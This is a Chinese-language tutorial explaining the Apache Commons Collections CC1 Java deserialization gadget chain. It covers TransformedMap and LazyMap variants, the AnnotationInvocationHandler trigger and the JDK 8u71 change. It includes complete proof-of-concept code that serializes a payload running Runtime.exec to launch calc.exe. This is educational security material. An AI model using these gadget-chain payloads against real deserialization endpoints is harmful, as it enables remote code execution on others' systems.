JAVA安全基础-CC1链
demo代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"C:\WINDOWS\system32\calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}
ConstantTransformer
作用:无论输入是什么,始终返回一个预设的对象。
代码中:new ConstantTransformer(Runtime.getRuntime())它会忽略传入的任何输入,直接返回当前系统的 Runtime 对象
InvokerTransformer
作用:通过 Java 反射机制调用指定对象的方法。
代码中:new InvokerTransformer("exec", ...)它接收一个对象,并调用该对象的 exec 方法,参数为 calc.exe。
ChainedTransformer
作用:将多个 Transformer 串联起来。前一个 Transformer 的输出将作为后一个 Transformer 的输入。
逻辑:
接收输入
ConstantTransformer 返回 Runtime 对象。
InvokerTransformer 接收 Runtime 对象并执行 exec("calc.exe")
TransformedMap
TransformedMap 是触发整个链条的“开关”。它的设计初衷是在向 Map 中添加或修改元素时,自动对 Key 或 Value 进行某种转换(Transformation)。
TransformedMap.decorate(innerMap, null, transformerChain):
第一个参数是原始 Map。
第二个参数是 Key 的转换器(此处为 null)
第三个参数是 Value 的转换器(此处为我们的 transformerChain)
当执行 outerMap.put("test", "xxxx") 时,内部逻辑如下:
TransformedMap 拦截到 put 操作。
它检查是否存在 Value 转换器。
因为它发现了 transformerChain,所以会对新插入的 Value ("xxxx") 调用 transform() 方法
| 步骤 | 执行操作 | 实际效果 |
|---|---|---|
| 1 | outerMap.put("test", "xxxx") |
触发 TransformedMap的转换逻辑。 |
| 2 | ChainedTransformer.transform("xxxx") |
启动链式调用,传入参数 "xxxx" |
| 3 | ConstantTransformer.transform("xxxx") |
忽略 "xxxx",返回 Runtime.getRuntime()对象 |
| 4 | InvokerTransformer.transform(Runtime) |
对 Runtime对象反射调用 exec("calc.exe") |
在demo中,我们可以手工执行 outerMap.put("test", "xxxx"); 来触发漏洞,但在实际反序列化时,我们需要找到一个类,它在反序列化的readObject逻辑里有类似的写入操作
sun.reflect.annotation.AnnotationInvocationHandler就具有这样的功能 (8u71以前 )
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in
annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue :
memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
memberValues就是反序列化后得到的Map,这里遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的 Transform,进而执行我们构造的恶意代码
我们构造POC的时候,需要创建一个AnnotationInvocationHandler对象,并将前面构造的 HashMap设置进来:
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
sun.reflect.annotation.AnnotationInvocationHandler 是JDK内部的类,不能直接使用new来实例化,使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化了 (为什么是Retention.class?下面会给出答案)
通过如下代码将这个对象生成序列化流:
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现了 java.io.Serializable 接口。而我们最早传给ConstantTransformer的是 Runtime.getRuntime() ,Runtime类是没有实现 java.io.Serializable 接口的,所以不允许被序列化
通过反射来获取到当前上下文中的Runtime对象,而不需要直接使用这个类:
Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
转换成Transformer的写法就是如下:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {"C:\\WINDOWS\\system32\\calc.exe"}),
};
将 Runtime.getRuntime() 换成了 Runtime.class ,前者是一个 java.lang.Runtime 对象,后者是一个 java.lang.Class 对象。Class类有实现Serializable接口,所以可以被序列化
在 AnnotationInvocationHandler:readObject 的逻辑中,有一个if语句对memberType进行判断,只有在其不是null的时候才会进入里面执行setValue,否则不会进入也就不会触发漏洞

让这个memberType不为null的两个条件:
- sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是
Annotation的子类(所以上面得是Retention.class),且其中必须含有至少一个方法,假设方法名是X - 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
Retention有一个方法,名为value;所以,为了再满足第二个条件,我需要给Map中放入一个Key是value的元素
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {"C:\\WINDOWS\\system32\\calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

8u71改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。 所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执 行set或put操作,也就不会触发RCE了
Layzmap触发
LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的 factory.transform 。LazyMap在get找不到值的时候,它会调用 factory.transform方法去获取一个值
public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
}
}
sun.reflect.annotation.AnnotationInvocationHandler 的readObject方法中并没有直接调用到 Map的get方法 但 AnnotationInvocationHandler类的invoke方法有调用到get
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
int parameterCount = method.getParameterCount();
// Handle Object and Annotation methods
if (parameterCount == 1 && member == "equals" &&
method.getParameterTypes()[0] == Object.class) {
return equalsImpl(proxy, args[0]);
}
if (parameterCount != 0) {
throw new AssertionError("Too many parameters for an annotation method");
}
if (member == "toString") {
return toStringImpl();
} else if (member == "hashCode") {
return hashCodeImpl();
} else if (member == "annotationType") {
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
23行 Object result = memberValues.get(member);
那么如何能调用到这个invoke
使用java对象代理
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);
第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class ExampleInvocationHandler implements InvocationHandler {
protected Map map;
public ExampleInvocationHandler(Map map) {
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws
Throwable {
if (method.getName().compareTo("get") == 0) {
System.out.println("Hook method: " + method.getName());
return "1111";
}
return method.invoke(this.map, args);
}
}
ExampleInvocationHandler是实现了InvocationHandler接口的类,重写了invoke方法在监控到调用的方法名是get的时候,返回一个字符串1111
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class App {
public static void main(String[] args) throws Exception {
InvocationHandler handler = new ExampleInvocationHandler(new
HashMap());
Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
handler);
proxyMap.put("hello", "world");
String result = (String) proxyMap.get("hello");
System.out.println(result);
}
}
调用ExampleInvocationHandler

可以看到即使hello键被设置为world,输出结果为1111
再看AnnotationInvocationHandler,它就是一个 InvocationHandler,如果将其用proxy代理,在readObject 时会自动调用invoke并使用到其中的get,触发lazymap中的构造链

使用LazyMap替换 TransformedMap
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
对sun.reflect.annotation.AnnotationInvocationHandler对象进行Proxy
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
// 创建第一个 Handler,包裹 lazyMap
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, lazyMap);
// 创建代理对象 mapProxy。对 mapProxy 的任何方法调用,都会进入 handler.invoke()
Map mapProxy = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler
);
入口点是 sun.reflect.annotation.AnnotationInvocationHandler#readObject ,所以我们还需要再用 AnnotationInvocationHandler对这个proxyMap进行包裹
handler = (InvocationHandler) construct.newInstance(Retention.class, mapProxy);
最终POC
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1WithLazyMap {
public static void main(String[] args) throws Exception {
// 1. 定义 Transformer 链:最终执行 calc.exe
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
// 2. 使用 LazyMap 装饰 HashMap
// LazyMap 的特点:当 get() 一个不存在的 key 时,会调用 transformerChain.transform()
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
// 3. 关键点:使用动态代理
// AnnotationInvocationHandler 实现了 InvocationHandler 接口
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
// 创建第一个 Handler,包裹 lazyMap
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, lazyMap);
// 创建代理对象 mapProxy。对 mapProxy 的任何方法调用,都会进入 handler.invoke()
Map mapProxy = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler
);
// 4. 再用一个 AnnotationInvocationHandler 包裹代理对象
// 这是为了在反序列化 readObject 时,触发 mapProxy 的方法调用
handler = (InvocationHandler) construct.newInstance(Retention.class, mapProxy);
// 5. 序列化与反序列化触发
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
AnnotationInvocationHandler#readObject对mapProxy进行操作会触发handler的invoke方法,handler其实就是AnnotationInvocationHandler类的一个实例,invoke中的get操作会触发lazyMap中factory.transform进而触发transformerChain中的利用链

浙公网安备 33010602011771号